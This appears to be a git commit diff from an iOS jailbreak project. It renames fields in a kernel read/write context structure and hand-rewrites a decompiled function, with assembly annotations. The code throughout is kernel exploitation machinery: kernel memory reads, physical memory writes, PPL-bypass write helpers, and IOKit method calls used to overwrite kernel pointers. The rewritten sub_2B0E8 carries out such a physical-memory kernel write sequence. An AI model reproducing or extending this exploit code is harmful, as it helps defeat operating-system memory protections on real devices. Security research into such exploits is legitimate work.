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Fix 20: rewrite sub_2B0E8, rename variables

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Fix Dopamine failing, now it crashes at sub_3B7E0
This commit is contained in:
khanhduytran0
2026-06-02 20:20:29 +07:00
parent 395f642204
commit cf198485f7
4 changed files with 231 additions and 233 deletions
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src/payload_377bed/defs.h
+6 -6
View File
@@ -62,11 +62,11 @@ struct struct_krwCtx
uint8_t gap144[20];
uint64_t xnuVersionPacked;
uint8_t gap160[8];
int int168;
int stride168;
int gap16C[5];
int pageSizeOrSomething;
int gap16C2;
uint64_t qword188;
uint64_t pageMask;
uint8_t gap190[136];
uint64_t gap190u;
uint8_t gap190_[56];
@@ -92,21 +92,21 @@ struct struct_krwCtx
uint64_t gap19211;
uint64_t slideMaybe;
uint64_t gap1921[108];
uint64_t qword1D48;
uint64_t IOKitConnInfo;
};
typedef struct struct_krwCtx struct_krwCtx;
/* 165 */
struct __attribute__((packed)) __attribute__((aligned(4))) struct_qword1D48
struct __attribute__((packed)) __attribute__((aligned(4))) struct_IOKitConnInfo
{
_BYTE gap0[80];
_QWORD qword50;
_QWORD qword58;
_QWORD qword60;
_QWORD qword68;
_DWORD dword70;
_DWORD ioPort;
};
typedef struct __attribute__((packed)) __attribute__((aligned(4))) struct_qword1D48 struct_qword1D48;
typedef struct __attribute__((packed)) __attribute__((aligned(4))) struct_IOKitConnInfo struct_IOKitConnInfo;
/* 166 */
struct __attribute__((packed)) __attribute__((aligned(8))) struct_xnuMajorVersion
src/payload_377bed/entry1_type0x09.m
+217 -219
View File
@@ -308,7 +308,7 @@ int __fastcall kernel_version_parse(struct_xnuMajorVersion *xnuMajorVersion, int
__int64 __fastcall sub_1F07C(vm_map_read_t a1, mach_vm_address_t a2, _QWORD *a3);
__int64 number_of_cpus();
unsigned __int64 comm_page_memory_size();
__int64 sub_1F114();
__int64 sub_get_page_size();
__int64 __fastcall sub_1F148(task_name_t a1);
__int64 sub_1F190();
__int64 __fastcall sub_1F1C8(task_name_t a1, _QWORD *a2, _QWORD *a3);
@@ -473,7 +473,7 @@ __int64 __fastcall sub_2AB18(__int64 a1);
__int64 __fastcall sub_2AD98(semaphore_t a1);
__int64 __fastcall sub_2ADB4(__int64 a1);
__int64 __fastcall sub_2B03C(__int64 a1);
__int64 __fastcall sub_2B0E8(struct_krwCtx *krwCtx, unsigned __int64 vaddr, __int64 a3);
kern_return_t sub_2B0E8(struct_krwCtx *krwCtx, uint64_t vaddr, uint64_t a3);
__int64 __fastcall physwrite64_maybe(struct_krwCtx *krwCtx, unsigned __int64 paddr, __int64 value_1);
__int64 __fastcall dmaFail_physwritebuf_ppl(__int64 a1, __int64 paddr, _QWORD *data, unsigned int size);
__int64 __fastcall sub_2B5BC(__int64 a1, __int64 a2);
@@ -11415,7 +11415,7 @@ bool __fastcall sub_130B4(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned
bool __fastcall sub_13304(struct_krwCtx *ctx, mach_vm_address_t vaddr, __int64 newBytes, __int64 size, int a5)
{
int v10; // w0
uint64_t qword188; // x8
uint64_t pageMask; // x8
mach_vm_address_t v12; // x24
__int64 v13; // x27
uint64_t *v14; // x8
@@ -11434,9 +11434,9 @@ bool __fastcall sub_13304(struct_krwCtx *ctx, mach_vm_address_t vaddr, __int64 n
if ( !v10 )
{
*(_QWORD *)&v25[4] = 0;
qword188 = ctx->qword188;
v12 = vaddr & ~qword188;
if ( v12 == ((vaddr + (unsigned int)size - 1) & ~qword188) )
pageMask = ctx->pageMask;
v12 = vaddr & ~pageMask;
if ( v12 == ((vaddr + (unsigned int)size - 1) & ~pageMask) )
{
if ( ctx->xnuVersionPacked <= XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) )
v13 = 16;
@@ -11900,7 +11900,7 @@ void __fastcall sub_13D9C(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3)
if ( krw_ctx_has_flag(a1, KRW_CTX_FLAG_CPU_A12_A13_A14_A15_A16_A17_MASK) && kread64_outptr(a1, a2, &v7) && v7 != a3 )
{
v6 = kaddr_need_ppl_bypass((__int64)a1, a2);
ppl_kwritebuf_nocheck((__int64)a1, a2, (__int64)&v8, (unsigned int)a1->int168, v6, 1);
ppl_kwritebuf_nocheck((__int64)a1, a2, (__int64)&v8, (unsigned int)a1->stride168, v6, 1);
}
}
@@ -11910,7 +11910,7 @@ __int64 __fastcall kwrite_something(struct_krwCtx *a1, mach_vm_address_t a2, __i
__int64 result; // x0
__int64 v6; // [xsp+8h] [xbp-18h] BYREF
if ( !a5 || a1->int168 != (_DWORD)a4 )
if ( !a5 || a1->stride168 != (_DWORD)a4 )
{
result = kwritebuf_last_1((__int64)a1, a2, a3, a4);
if ( !(_DWORD)result )
@@ -12790,13 +12790,13 @@ LABEL_15:
&& (v21 = port_name_to_kaddr(krwCtx, v18), (address = v21) != 0)
&& kread64_outptr(krwCtx, v21 + 16, (unsigned __int64 *)&address)
&& kread64_outptr(krwCtx, address + 24, (unsigned __int64 *)&address)
&& noppl_kwrite32((__int64)krwCtx, address + krwCtx->int168, 255)
&& noppl_kwrite32((__int64)krwCtx, address + krwCtx->stride168, 255)
&& (unsigned int)kreadbuf_last_1(krwCtx, address, 40, &v31)
&& (unsigned int)kwritebuf_last_1(
(__int64)krwCtx,
krwCtx->gap191[4] + krwCtx->int168,
(__int64)&v31 + krwCtx->int168,
(unsigned int)(40 - krwCtx->int168)) != 0;
krwCtx->gap191[4] + krwCtx->stride168,
(__int64)&v31 + krwCtx->stride168,
(unsigned int)(40 - krwCtx->stride168)) != 0;
mach_port_destroy(mach_task_self_, v19);
if ( name[0] + 1 >= 2 )
mach_port_destroy(mach_task_self_, name[0]);
@@ -15883,7 +15883,7 @@ __int64 __fastcall sub_19040(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3)
if ( !v6 )
return 708617;
v7 = v6;
sub_2183C((__int64)a1, v6 & ~a1->qword188, (__int64)size + 4);
sub_2183C((__int64)a1, v6 & ~a1->pageMask, (__int64)size + 4);
v8 = v15 & 0xFFFFFFFFC000LL;
if ( v9 )
v10 = v8 == 0;
@@ -18757,11 +18757,11 @@ LABEL_13:
{
v13 = a1->gap190u & 0xFFFFFFFFFFLL
| ((unsigned __int64)(unsigned int)(a1->slideMaybe / (unsigned int)a1->pageSizeOrSomething) << 40);
v12 = v14 + a1->int168 + 280;
v12 = v14 + a1->stride168 + 280;
}
else
{
v12 = v14 + a1->int168 + 280;
v12 = v14 + a1->stride168 + 280;
v13 = a1->slideMaybe;
}
sub_288A4((__int64)a1, v12, v13);
@@ -20197,7 +20197,7 @@ unsigned __int64 comm_page_memory_size()
}
//----- (000000000001F114) ----------------------------------------------------
__int64 sub_1F114()
__int64 sub_get_page_size()
{
host_t v0; // w0
vm_size_t v2; // [xsp+8h] [xbp-8h] BYREF
@@ -24197,7 +24197,7 @@ LABEL_61:
if ( kread64_outptr(a1, v25, (unsigned __int64 *)&__size[1]) )
{
v24 = 0;
if ( (unsigned int)kreadbuf_last_1(a1, address + a1->int168, 4, __size) )
if ( (unsigned int)kreadbuf_last_1(a1, address + a1->stride168, 4, __size) )
{
v26 = __size[0];
if ( __size[0] <= 0x80000u )
@@ -27883,18 +27883,18 @@ LABEL_6:
//----- (00000000000281F0) ----------------------------------------------------
__int64 __fastcall sub_281F0(struct_krwCtx *a1)
{
uint64_t qword1D48; // x20
uint64_t IOKitConnInfo; // x20
kern_return_t v4; // w0
mach_port_name_t name; // [xsp+Ch] [xbp-14h] BYREF
qword1D48 = a1->qword1D48;
if ( !qword1D48 )
IOKitConnInfo = a1->IOKitConnInfo;
if ( !IOKitConnInfo )
return 708609;
if ( (unsigned int)(*(_DWORD *)(qword1D48 + 112) + 1) < 2 )
if ( (unsigned int)(*(_DWORD *)(IOKitConnInfo + 112) + 1) < 2 )
return 0;
name = 0;
if ( (unsigned int)sub_28288((__int64)a1, &name) )
return sub_1C8B0(a1, 0x14u, *(_DWORD *)(qword1D48 + 112));
return sub_1C8B0(a1, 0x14u, *(_DWORD *)(IOKitConnInfo + 112));
v4 = mach_port_deallocate(mach_task_self_, name);
if ( v4 )
return v4 | 0x80000000;
@@ -27978,7 +27978,7 @@ __int64 __fastcall sub_28364(struct_krwCtx *a1)
v32 = 0;
v33 = 0;
connect = 0;
v1 = a1->qword1D48;
v1 = a1->IOKitConnInfo;
if ( !v1 )
{
v3 = 708642;
@@ -28139,7 +28139,7 @@ LABEL_26:
if ( !(_DWORD)v3 )
{
v37 = v23;
if ( !noppl_kwritebuf((__int64)a1, v35 + 80, &v37, (unsigned int)a1->int168, 1) )
if ( !noppl_kwritebuf((__int64)a1, v35 + 80, &v37, (unsigned int)a1->stride168, 1) )
{
LABEL_73:
v3 = 163856;
@@ -28151,7 +28151,7 @@ LABEL_73:
if ( !validate_addr((__int64)a1, v36) )
goto LABEL_19;
v37 = 0;
if ( noppl_kwritebuf((__int64)a1, v36 + 8, &v37, (unsigned int)a1->int168, 1) )
if ( noppl_kwritebuf((__int64)a1, v36 + 8, &v37, (unsigned int)a1->stride168, 1) )
{
v27 = v30;
goto LABEL_64;
@@ -28299,7 +28299,7 @@ LABEL_9:
v4 = 163878;
goto LABEL_20;
}
if ( (((v13 + 1520) ^ v13) & ~a1->qword188) == 0 )
if ( (((v13 + 1520) ^ v13) & ~a1->pageMask) == 0 )
{
v4 = 0;
v15 = *((_QWORD *)&v37 + v2);
@@ -28354,7 +28354,7 @@ LABEL_23:
LABEL_29:
if ( (_DWORD)v4 )
return v4;
a1->qword1D48 = (uint64_t)v6;
a1->IOKitConnInfo = (uint64_t)v6;
if ( !v6 )
return 708609;
v20 = sub_28CE0((__int64)a1, *v6, 1);
@@ -28368,7 +28368,7 @@ LABEL_29:
v22 = v28;
v6[2] = v28;
v6[3] = v27;
v6[4] = (a1->qword188 & v21) + v22;
v6[4] = (a1->pageMask & v21) + v22;
v3 = sub_39A24((__int64)a1, 0);
if ( !(_DWORD)v3 )
{
@@ -28523,7 +28523,7 @@ LABEL_3:
__int64 __fastcall sub_28F90(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5)
{
__int64 v5; // x25
uint64_t qword1D48; // x8
uint64_t IOKitConnInfo; // x8
unsigned int v8; // w26
unsigned int v12; // w24
__int64 v13; // x8
@@ -28585,8 +28585,8 @@ __int64 __fastcall sub_28F90(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3,
unsigned __int64 v70; // [xsp+68h] [xbp-58h] BYREF
v5 = 708609;
qword1D48 = a1->qword1D48;
if ( !qword1D48 )
IOKitConnInfo = a1->IOKitConnInfo;
if ( !IOKitConnInfo )
{
TRACE_PORTS("sub_28F90 no state ctx=%llx addr=%llx size=%u\n",
(unsigned long long)a1,
@@ -28600,13 +28600,13 @@ __int64 __fastcall sub_28F90(struct_krwCtx *a1, unsigned __int64 a2, __int64 a3,
(unsigned long long)a3,
a4,
a5,
(unsigned long long)qword1D48,
(unsigned long long)IOKitConnInfo,
a1->flags,
*(unsigned __int8 *)(qword1D48 + 74),
*(unsigned __int8 *)(IOKitConnInfo + 74),
a1->threadForKernelRead,
(unsigned long long)*(_QWORD *)&a1->gap42[40]);
v8 = a4;
if ( ((a2 & 3) != 0 || a4 != 4) && *(_BYTE *)(qword1D48 + 74) )
if ( ((a2 & 3) != 0 || a4 != 4) && *(_BYTE *)(IOKitConnInfo + 74) )
{
if ( a1->threadForKernelRead + 1 >= 2 )
{
@@ -28699,7 +28699,7 @@ LABEL_25:
else
{
v22 = v19;
if ( (((v21 + (unsigned int)v20 - 1) ^ (v21 + 3)) & ~a1->qword188) != 0 )
if ( (((v21 + (unsigned int)v20 - 1) ^ (v21 + 3)) & ~a1->pageMask) != 0 )
v23 = 4 - v20;
else
v23 = 0;
@@ -28740,11 +28740,11 @@ LABEL_25:
{
v30 = 216;
}
v31 = a1->qword1D48;
v31 = a1->IOKitConnInfo;
v5 = 708609;
if ( !v31 )
{
TRACE_PORTS("sub_28F90 missing qword1D48 during chunk\n");
TRACE_PORTS("sub_28F90 missing IOKitConnInfo during chunk\n");
goto LABEL_66;
}
v32 = *(_DWORD *)(v31 + 56);
@@ -28775,13 +28775,13 @@ LABEL_25:
if ( a1->xnuVersionPacked > XNU_VERSION_PACKED(10002, 60, 75, 0, 2) && (a1->flags & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) != 0 )
{
v68 = 0;
v39 = sub_38D60((__int64)a1, v60, &v68, a1->int168, 0);
v39 = sub_38D60((__int64)a1, v60, &v68, a1->stride168, 0);
if ( (_DWORD)v39 )
goto LABEL_64;
if ( !validate_addr((__int64)a1, v68) )
goto LABEL_55;
v67 = 0;
v39 = sub_38D60((__int64)a1, v57, &v67, a1->int168, 0);
v39 = sub_38D60((__int64)a1, v57, &v67, a1->stride168, 0);
if ( (_DWORD)v39 )
{
LABEL_64:
@@ -28835,7 +28835,7 @@ LABEL_64:
v5 = v52;
if ( !(_DWORD)v52 )
{
v53 = physwritebuf_direct_mapped(a1, v60 + 24, &v70, a1->int168, 0);
v53 = physwritebuf_direct_mapped(a1, v60 + 24, &v70, a1->stride168, 0);
v5 = v53;
if ( !(_DWORD)v53 )
{
@@ -28875,7 +28875,7 @@ LABEL_82:
v5 = physmap_maybe((__int64)a1, &address, v56, paddr);
if ( !(_DWORD)v5 )
{
v42 = (a1->qword188 & v68) + address;
v42 = (a1->pageMask & v68) + address;
v65 = *(_DWORD *)(v42 + 52);
v5 = 163857;
if ( v65 == 1 )
@@ -29032,7 +29032,7 @@ __int64 __fastcall kreadbuf_via_dev_null_and_thread_state(
unsigned __int64 v28; // x19
__int64 v29; // x25
kern_return_t v30; // w0
uint64_t qword188; // x25
uint64_t pageMask; // x25
__int64 v32; // x19
__int64 v33; // x25
__int64 v34; // x0
@@ -29075,7 +29075,7 @@ __int64 __fastcall kreadbuf_via_dev_null_and_thread_state(
sizeMinusI = size - iMaybe;
iPtr = iMaybe;
vaddrPlusI = vaddr_ + iMaybe;
if ( (krwCtx->qword188 & vaddrPlusI) == 0 && sizeMinusI >= 0x4000 && sub_25734((__int64)krwCtx) )
if ( (krwCtx->pageMask & vaddrPlusI) == 0 && sizeMinusI >= 0x4000 && sub_25734((__int64)krwCtx) )
{
xnuVersionPacked = krwCtx->xnuVersionPacked;
if ( xnuVersionPacked <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
@@ -29126,11 +29126,11 @@ LABEL_69:
{
*(_QWORD *)old_stateCnt = 0;
v47 = 132;
qword188 = krwCtx->qword188;
if ( (qword188 & v22) >= (unsigned __int64)(unsigned int)krwCtx->pageSizeOrSomething - 528 )
pageMask = krwCtx->pageMask;
if ( (pageMask & v22) >= (unsigned __int64)(unsigned int)krwCtx->pageSizeOrSomething - 528 )
v32 = (unsigned int)krwCtx->pageSizeOrSomething - 528LL;
else
v32 = qword188 & v22;
v32 = pageMask & v22;
if ( validate_addr((__int64)krwCtx, *(_QWORD *)&krwCtx->gap42[48]) )
{
*(_QWORD *)old_stateCnt = *(_QWORD *)&krwCtx->gap42[48];
@@ -29142,7 +29142,7 @@ LABEL_69:
{
*(_QWORD *)&krwCtx->gap42[48] = *(_QWORD *)old_stateCnt;
LABEL_45:
v33 = v32 + (v22 & ~qword188);
v33 = v32 + (v22 & ~pageMask);
__dsb(0xBu);
v49 = v33 - 16;
v34 = physwritebuf_direct_mapped(krwCtx, *(_QWORD *)&krwCtx->gap42[40], &v49, 8u, 0);
@@ -29182,7 +29182,7 @@ LABEL_45:
else
{
old_stateCnt[0] = 132;
v25 = krwCtx->qword188;
v25 = krwCtx->pageMask;
v26 = v22 & ~v25;
v27 = v25 & v22;
if ( v27 >= (unsigned __int64)(unsigned int)krwCtx->pageSizeOrSomething - 528 )
@@ -29295,16 +29295,16 @@ bool __fastcall kread64_internal(struct_krwCtx *a1, unsigned __int64 a2, _QWORD
v3 = *(__int64 (__fastcall **)(struct_krwCtx *, unsigned __int64, _QWORD *, _QWORD, __int64))&a1->gap4[44];
if ( v3 )
{
v4 = v3(a1, a2, a3, (unsigned int)a1->int168, 1);
v4 = v3(a1, a2, a3, (unsigned int)a1->stride168, 1);
goto LABEL_3;
}
if ( a1->threadForKernelRead + 1 >= 2 && *(_QWORD *)&a1->gap42[40] )
{
v4 = kreadbuf_via_dev_null_and_thread_state(a1, a2, (__int64)a3, a1->int168, 1);
v4 = kreadbuf_via_dev_null_and_thread_state(a1, a2, (__int64)a3, a1->stride168, 1);
}
else if ( (unsigned int)(*(_DWORD *)&a1->gap42[56] + 1) >= 2 && *(_QWORD *)&a1->gap42[72] && *(_QWORD *)&a1->gap42[80] )
{
v4 = kreadbuf_via_IOConnectCallMethod((__int64)a1, a2, (__int64)a3, a1->int168, 1);
v4 = kreadbuf_via_IOConnectCallMethod((__int64)a1, a2, (__int64)a3, a1->stride168, 1);
}
else
{
@@ -29312,16 +29312,16 @@ bool __fastcall kread64_internal(struct_krwCtx *a1, unsigned __int64 a2, _QWORD
goto LABEL_22;
if ( a1->gap1915 != -1 && a1->gap190u )
{
v4 = kreadbuf_via_dev_null_only((__int64)a1, a2, (__int64)a3, a1->int168, 1);
v4 = kreadbuf_via_dev_null_only((__int64)a1, a2, (__int64)a3, a1->stride168, 1);
goto LABEL_3;
}
if ( a1->gap1913 == -1 || a1->gap1914 == -1 )
{
LABEL_22:
v5 = kreadbuf_via_tfp0(a1->gap191[693], a2, a1->int168, (unsigned int)a1->gap16C[3], (__int64)a3, &v7);
v5 = kreadbuf_via_tfp0(a1->gap191[693], a2, a1->stride168, (unsigned int)a1->gap16C[3], (__int64)a3, &v7);
return v5 == 0;
}
v4 = kreadbuf_via_dev_null_simple(a1, a2, a3, a1->int168, 1);
v4 = kreadbuf_via_dev_null_simple(a1, a2, a3, a1->stride168, 1);
}
LABEL_3:
if ( v4 )
@@ -29528,7 +29528,7 @@ __int64 __fastcall sub_2A0D8(struct_krwCtx *a1, __int64 a2, __int64 a3)
v14 = 0;
memset(v13, 0, sizeof(v13));
sub_2183C((__int64)a1, a2 & ~a1->qword188, (__int64)v11);
sub_2183C((__int64)a1, a2 & ~a1->pageMask, (__int64)v11);
if ( !v6 )
return 0;
v7 = physmap_map_cached(a1, v12 & 0xFFFFFFFFC000LL, (__int64)v13);
@@ -29540,7 +29540,7 @@ __int64 __fastcall sub_2A0D8(struct_krwCtx *a1, __int64 a2, __int64 a3)
return v9;
goto LABEL_7;
}
*(_QWORD *)((a1->qword188 & a2) + *(_QWORD *)&v13[0]) = a3;
*(_QWORD *)((a1->pageMask & a2) + *(_QWORD *)&v13[0]) = a3;
v9 = 1;
if ( v8 )
LABEL_7:
@@ -30356,137 +30356,135 @@ LABEL_10:
}
//----- (000000000002B0E8) ----------------------------------------------------
__int64 __fastcall sub_2B0E8(struct_krwCtx *krwCtx, unsigned __int64 vaddr, __int64 a3)
kern_return_t sub_2B0E8(struct_krwCtx *krwCtx, uint64_t vaddr, uint64_t a3)
{
struct_qword1D48 *qword1D48; // x8
mach_port_t v4; // w21
__int64 v5; // x20
unsigned __int64 paddr; // x22
__int64 v7; // x27
__int64 v8; // x8
__int64 v9; // x25
vm_size_t pageSize; // x9
__int64 v14; // x10
__int64 v15; // x12
__int64 v16; // x13
__int64 v17; // x14
kern_return_t v18; // w0
uint64_t v19; // x28
unsigned __int64 paddr_2; // x0
unsigned __int64 paddr_1; // x27
__int64 v23; // x0
__int64 v24; // x0
__int64 v25; // x0
__int64 v26; // x0
unsigned __int64 v27; // [xsp+0h] [xbp-2A0h]
__int64 v28; // [xsp+8h] [xbp-298h] BYREF
uint64_t input; // [xsp+10h] [xbp-290h] BYREF
size_t outputStructCnt; // [xsp+18h] [xbp-288h] BYREF
unsigned __int64 v31; // [xsp+20h] [xbp-280h] BYREF
int v32; // [xsp+2Ch] [xbp-274h] BYREF
__int128 outputStruct[16]; // [xsp+30h] [xbp-270h] BYREF
int inputStruct; // [xsp+138h] [xbp-168h] BYREF
int v35[56]; // [xsp+13Ch] [xbp-164h] BYREF
_BYTE v36[28]; // [xsp+21Ch] [xbp-84h] BYREF
// [x0+0x1d48] = pointer to IOKit connection info struct
struct_IOKitConnInfo *connInfo = krwCtx->IOKitConnInfo; // [krwCtx+0x1d48]
if (!connInfo)
return 0xAD001; // 708609: no connection
v31 = 0;
qword1D48 = (struct_qword1D48 *)krwCtx->qword1D48;
if ( !qword1D48 )
return 708609;
v4 = qword1D48->dword70;
if ( v4 + 1 < 2 )
return 163848;
v5 = qword1D48->qword58;
if ( !v5 )
return 163878;
paddr = qword1D48->qword60;
if ( !paddr )
return 163878;
v7 = qword1D48->qword68;
if ( !v7 )
return 163878;
v8 = qword1D48->qword50;
v9 = 163857;
if ( !v8 )
return v9;
pageSize = vm_page_size;
memset(v36, 0, sizeof(v36));
memset(v35, 0, sizeof(v35));
inputStruct = 128;
v14 = 10;
v15 = 12;
if ( krwCtx->xnuMajorVersion > 8795 )
v14 = 12;
v16 = 14;
if ( krwCtx->xnuMajorVersion > 8795 )
v15 = 14;
v17 = 16;
if ( krwCtx->xnuMajorVersion > 8795 )
{
v16 = 16;
v17 = 18;
}
*(_QWORD *)&v35[v14 - 1] = vm_page_size;
*(_QWORD *)&v35[v15 - 1] = v8;
*(_QWORD *)&v35[v16 - 1] = v8;
*(_QWORD *)&v35[v17 - 1] = pageSize;
memset(outputStruct, 0, sizeof(outputStruct));
outputStructCnt = 0x100;
v18 = IOConnectCallStructMethod(v4, 9u, &inputStruct, 0x100u, outputStruct, &outputStructCnt);
if ( v18 )
return v18 | 0x80000000;
v19 = HIDWORD(outputStruct[1]);
if ( (unsigned int)(HIDWORD(outputStruct[1]) - 1) > 0x3FE )
return v9;
if ( !kreadbuf(krwCtx, v7 + (unsigned int)(krwCtx->int168 * HIDWORD(outputStruct[1])), krwCtx->int168, &v31, 0) )
return 163855;
v31 = sub_29CB0(krwCtx, v31);
if ( !validate_addr((__int64)krwCtx, v31) )
return 163878;
paddr_2 = sub_218A8((__int64)krwCtx, v31 + 16, 0);
if ( !paddr_2 )
return 163878;
paddr_1 = paddr_2;
if ( (((v31 + 16) ^ (v31 + 120)) & ~krwCtx->qword188) != 0 )
{
v9 = 163878;
v27 = sub_218A8((__int64)krwCtx, v31 + 120, 0);
if ( !v27 )
return v9;
}
else
{
v27 = paddr_2 + 104;
}
v32 = 0;
if ( krwCtx->xnuVersionPacked >= XNU_VERSION_PACKED(10002, 60, 75, 0, 3) && (krwCtx->flags & KRW_CTX_FLAG_PAC_KERNEL_LAYOUT) != 0 )
v23 = physwritebuf_direct_mapped(krwCtx, paddr_1, &v32, 4u, 0);
else
v23 = dmaFail_physwritebuf_ppl((__int64)krwCtx, paddr_1, &v32, 4u);
v9 = v23;
if ( !(_DWORD)v23 )
{
if ( kreadbuf(krwCtx, vaddr, 8u, &v28, 0) )
{
v24 = physwrite64_maybe(krwCtx, v27, v28 - a3);
v9 = v24;
if ( !(_DWORD)v24 )
{
v25 = physwrite64_maybe(krwCtx, paddr, vaddr);
v9 = v25;
if ( !(_DWORD)v25 )
{
input = v19;
IOConnectCallScalarMethod(v4, 0xAu, &input, 1u, 0, 0);
v26 = physwrite64_maybe(krwCtx, paddr, v5);
return v26;
}
}
return v9;
// w26 = 0x20026 = base error code
// w21 = connection port (dword at +0x70)
mach_port_t ioPort = connInfo->ioPort; // [connInfo+0x70]
if ((uint32_t)(ioPort + 1) < 2)
return 0x20026 - 0x1e; // 0x20008 = 131080: invalid port
uint64_t qword58 = connInfo->qword58; // slot table base or similar
if (!qword58) return 0x20026; // 131110
uint64_t qword60 = connInfo->qword60; // paddr target 1
if (!qword60) return 0x20026;
uint64_t qword68 = connInfo->qword68; // x27: some pointer/table
if (!qword68) return 0x20026;
uint64_t qword50 = connInfo->qword50; // x8: used in inputStruct
if (!qword50) return 0x20026 - 0x15; // 0x20011 = 131089
// --- Build inputStruct at [sp+0x138], size 0x100 ---
// Zero entire 0x100-byte region first (the stur q0 block)
uint8_t inputStruct[0x100];
memset(inputStruct, 0, sizeof(inputStruct));
*(uint32_t *)&inputStruct[0] = 0x80; // str w10,[sp+0x138] = 128
// Version-dependent field offsets within inputStruct
// csel chain: if xnuMajorVersion > 0x225B: offsets +8 each
uint64_t vm_pgsz = vm_page_size; // x9 = vm_page_size global
int off0, off1, off2, off3;
if (krwCtx->xnuMajorVersion > 0x225B) {
off0 = 0x30; off1 = 0x38; off2 = 0x40; off3 = 0x48;
} else {
off0 = 0x28; off1 = 0x30; off2 = 0x38; off3 = 0x40;
}
return 163855;
}
return v9;
*(uint64_t *)&inputStruct[off0] = vm_pgsz; // str x9,[x15,x10]
*(uint64_t *)&inputStruct[off1] = qword50; // str x8,[x15,x12]
*(uint64_t *)&inputStruct[off2] = qword50; // str x8,[x15,x13]
*(uint64_t *)&inputStruct[off3] = vm_pgsz; // str x9,[x15,x14]
// outputStruct at [sp+0x30], size 0x100
uint8_t outputStruct[0x100];
memset(outputStruct, 0, sizeof(outputStruct));
size_t outputStructCnt = 0x100;
kern_return_t kr = IOConnectCallStructMethod(
ioPort, 9,
inputStruct, 0x100,
outputStruct, &outputStructCnt);
if (kr)
return kr | 0x80000000;
// Result field at outputStruct[0x1c] (sp+0x4c = sp+0x30+0x1c)
uint32_t result_idx = *(uint32_t *)&outputStruct[0x1c]; // w28
// Validate: result_idx must be in [1, 0x3ff]
if ((uint32_t)(result_idx - 1) > 0x3FE)
return 0x20026 - 0x15; // 131089
// kreadbuf: read one element from qword68 table at result_idx
// stride = krwCtx->stride168 (ldrsw = signed word)
int32_t stride = krwCtx->stride168; // [krwCtx+0x168]
uint64_t tbl_ptr = qword68 + (uint32_t)(stride * result_idx);
uint64_t kaddr = 0;
if (!kreadbuf(krwCtx, tbl_ptr, stride, &kaddr, 0))
return 0x20026 - 0x17; // 0x2000F = 131087
// w26 updated: w26 = 0x20026 - 0x17 = 0x2000F (used as error below)
// Translate/canonicalize kaddr
kaddr = sub_29CB0(krwCtx, kaddr);
if (!validate_addr(krwCtx, kaddr))
return 0x20026; // 131110
// Get physical address of kaddr+0x10
uint64_t paddr1 = sub_218A8(krwCtx, kaddr + 0x10, 0);
if (!paddr1)
return 0x20026;
// Check if kaddr+0x10 and kaddr+0x78 are in same physical page
// bics xzr, ((kaddr+0x10)^(kaddr+0x78)), ~krwCtx->page_mask
// b.eq → same page (no second sub_218A8 needed)
uint64_t paddr2;
if (((kaddr + 0x10) ^ (kaddr + 0x78)) & ~krwCtx->pageMask) {
// Different pages — get separate paddr for kaddr+0x78
paddr2 = sub_218A8(krwCtx, kaddr + 0x78, 0); // x1 used at +548
if (!paddr2)
return 0x20026;
// paddr2 stored at [sp+0x0]
} else {
// Same page — kaddr+0x78 = paddr1 + 0x68
paddr2 = paddr1 + 0x68;
// stored at [sp+0x0]
}
// Write 0 to paddr1 (4 bytes) using appropriate physical write method
uint32_t zero_val = 0;
uint64_t version_threshold = 0x0027120F04B00003ULL;
if (krwCtx->xnuVersionPacked >= version_threshold
&& (*(uint8_t *)krwCtx & 0x20)) { // tbnz w8, #5 → bit 5 of krwCtx[0]
kr = physwritebuf_direct_mapped(krwCtx, paddr1, &zero_val, 4, 0);
} else {
kr = dmaFail_physwritebuf_ppl(krwCtx, paddr1, &zero_val, 4);
}
if (kr) return kr;
// Read 8 bytes from vaddr
uint64_t vaddr_val = 0;
if (!kreadbuf(krwCtx, vaddr, 8, &vaddr_val, 0))
return 0x2000F; // 131087
// Write (vaddr_val - a3) to paddr2
kr = physwrite64_maybe(krwCtx, paddr2, vaddr_val - a3);
if (kr) return kr;
// Write vaddr to qword60
kr = physwrite64_maybe(krwCtx, qword60, vaddr);
if (kr) return kr;
// IOConnectCallScalarMethod(ioPort, 10, &result_idx, 1, NULL, NULL)
uint64_t scalar_in = result_idx;
IOConnectCallScalarMethod(ioPort, 10, &scalar_in, 1, NULL, NULL);
// Final: restore qword60 → qword58
return physwrite64_maybe(krwCtx, qword60, qword58);
}
// 2B3CC: variable 'v23' is possibly undefined
// 2B400: variable 'v24' is possibly undefined
@@ -36500,7 +36498,7 @@ unsigned __int64 __fastcall sub_328A4(struct_krwCtx *a1, unsigned __int64 ipc_po
}
if ( xnuVersionPacked > XNU_VERSION_PACKED(8018, 1023, 1023, 1023, 1023) || (v6 & 0x400) == 0 )
return v7;
if ( kread64_outptr(a1, v7 + a1->int168, (unsigned __int64 *)&v7) )
if ( kread64_outptr(a1, v7 + a1->stride168, (unsigned __int64 *)&v7) )
{
result = validate_addr((__int64)a1, v7);
if ( !result )
@@ -37117,7 +37115,7 @@ __int64 __fastcall sub_3341C(struct_krwCtx *a1, __int64 a2, int pid, const char
if ( !v16 )
return 0;
v17 = v16;
v18 = a1->int168;
v18 = a1->stride168;
v19 = a1->gap1921[2];
if ( v19 )
{
@@ -38955,7 +38953,7 @@ LABEL_16:
{
v15 = v16;
}
if ( kread64_outptr(a1, v13 + a1->int168 * (__int64)a2, (unsigned __int64 *)&v14) )
if ( kread64_outptr(a1, v13 + a1->stride168 * (__int64)a2, (unsigned __int64 *)&v14) )
{
if ( validate_addr((__int64)a1, v14) )
{
@@ -39071,7 +39069,7 @@ void __fastcall sub_35AE0(struct_krwCtx *a1, unsigned int a2, __int64 a3)
{
if ( !a3 )
a3 = -1;
v7 = a1->gap191[688] + a1->int168 * (a2 + 1);
v7 = a1->gap191[688] + a1->stride168 * (a2 + 1);
if ( ((vars8 ^ (2 * vars8)) & 0x4000000000000000LL) != 0 )
__break(0xC471u);
sub_2A63C(a1, v7, a3);
@@ -39101,7 +39099,7 @@ LABEL_19:
v9 = 0;
LABEL_17:
v10 = a1->gap191[8 * (unsigned __int64)v9 + 9 + a2];
v11 = v8 + a1->int168 * (a2 + 1);
v11 = v8 + a1->stride168 * (a2 + 1);
